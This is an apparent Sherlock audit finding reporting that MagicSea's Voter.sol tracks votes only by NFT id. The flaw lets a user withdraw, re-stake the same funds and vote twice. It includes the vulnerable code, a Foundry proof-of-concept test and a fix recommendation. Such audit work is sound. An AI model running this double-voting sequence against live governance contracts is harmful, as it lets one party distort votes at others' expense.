tedox - Users can double their voting power inside Voter.sol

[sherlock-admin4]

tedox

Medium

Users can double their voting power inside Voter.sol

Summary

When users call Voter.sol::vote the only thing that is registered is the id of the NFT they have used. That means that if their lock has already passed, they can withdraw their funds, create a new lock with the same funds and receive a new NFT with a new id and vote once again, essentially doubling their voting power.

Vulnerability Detail

    function vote(uint256 tokenId, address[] calldata pools, uint256[] calldata deltaAmounts) external {
        if (pools.length != deltaAmounts.length) revert IVoter__InvalidLength();

        // check voting started
        if (!_votingStarted()) revert IVoter_VotingPeriodNotStarted();
        if (_votingEnded()) revert IVoter_VotingPeriodEnded();

        // check ownership of tokenId
        if (_mlumStaking.ownerOf(tokenId) != msg.sender) {
            revert IVoter__NotOwner();
        }

        uint256 currentPeriodId = _currentVotingPeriodId;
        // check if alreay voted
@>      if (_hasVotedInPeriod[currentPeriodId][tokenId]) {
            revert IVoter__AlreadyVoted();
        }

        // check if _minimumLockTime >= initialLockDuration and it is locked
        if (_mlumStaking.getStakingPosition(tokenId).initialLockDuration < _minimumLockTime) {
            revert IVoter__InsufficientLockTime();
        }
        ...

The check inside Voter::vote only records the tokenId to check weather the funds have already been used to vote. By burning and minting a new NFT using MlumStaking::withdrawFromPosition and MlumStaking::createPosition the user can double their voting power using the same amount of funds.

Impact

POC

    function testDoubleVote() public{
        _stakingToken.mint(ALICE, 2 ether);
        vm.startPrank(ALICE);
        _stakingToken.approve(address(_pool), 1 ether);
        _pool.createPosition(1 ether, 2 weeks);
        vm.stopPrank();

        skip(2 weeks);
        vm.prank(DEV);
        _voter.startNewVotingPeriod();
        vm.startPrank(ALICE);
        _voter.vote(1, _getDummyPools(), _getDeltaAmounts());
        _pool.withdrawFromPosition(1, 1 ether);
        _stakingToken.approve(address(_pool), 1 ether);
        _pool.createPosition(1 ether, 2 weeks);
        _voter.vote(2, _getDummyPools(), _getDeltaAmounts());
        vm.stopPrank();

        assertEq(2e18, _voter.getTotalVotes());
    }

Code Snippet

https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/Voter.sol#L153-L219
https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L354-L390
https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L496-L502

Tool used

Manual Review
VS Code
Foundry

Recommendation

Do not allow NFTs created during the voting period to be used for voting.

Duplicate of #166